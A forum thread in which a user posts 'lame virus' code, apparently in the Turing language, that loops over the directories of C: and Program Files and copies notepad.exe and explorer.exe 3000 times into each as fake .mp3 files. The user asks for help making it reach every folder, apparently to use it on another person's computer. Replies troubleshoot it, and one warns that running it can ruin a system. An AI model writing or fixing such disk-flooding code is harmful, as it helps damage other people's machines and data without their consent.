Lame Virus Type Thing

Post subject:  Lame Virus Type Thing
ok, i made this to duplicate two files from the windows directory that i think everyone has, into all the files of someones c drive and program files, but it doesn't put them in all of the program file directories. Can someone help me with this problem. If you're going to test it (i for some reason did), you might want to change the number of times the files are duplicated.

code:

   var dirC : int
    dirC := Dir.Open ("c:\\")
    assert dirC > 0
    loop
        fileName := Dir.Get (dirC)
        exit when fileName = ""
        put fileName
        for counter : 1 .. 3000
            File.Copy ("c:\\WINDOWS\\NOTEPAD.EXE", "c:\\" + fileName + "\\client.proc_" + intstr (counter) + ".mp3")
            File.Copy ("c:\\WINDOWS\\explorer.exe", "c:\\" + fileName + "\\client.proc_" + intstr (counter) + ".mp3")
        end for
    end loop
    Dir.Close (dirC)

    var dirPFiles : int
    dirPFiles := Dir.Open ("c:\\Program Files\\")
    assert dirPFiles > 0
    loop
        fileName2 := Dir.Get (dirPFiles)
        exit when fileName2 = ""
        put fileName2
        for counter : 1 .. 3000
            File.Copy ("c:\\WINDOWS\\explorer.exe", "c:\\Program Files\\" + fileName + "\\client.proc_" + intstr (counter) + ".mp3 ")
            File.Copy ("c:\\WINDOWS\\NOTEPAD.EXE", "c:\\Program Files\\" + fileName2 + "\\client.proc_" + intstr (counter) + ".mp3 ")
        end for
    end loop
    Dir.Close (dirPFiles)
[/code]

im sorry, but i did not quite get what you meant. i think the explorer thing works, but i only tested the program with the notepad thing so im not sure. I made the program for a computer that i know has their windows folder in the c drive.

Here's a (rought) translation for you, jonos:

Interesting attempt but it wouldn't copy over explorer.exe because they would be running it...

What he means is that, you won't be able to delete or replace the explorer.exe file because it will pretty much always be in use. And while most people do install to c:\windows, there could always be one or two weirdos that choose to install it somewhere else (like c:\stuff\why\whocares\windows\ for example). But if your using it on a computer that you know the location of the windows folder for sure, that shouldn't be a problem.

Hey careful, being a virus is not a joke and you can ruin your system if you forget and run it.
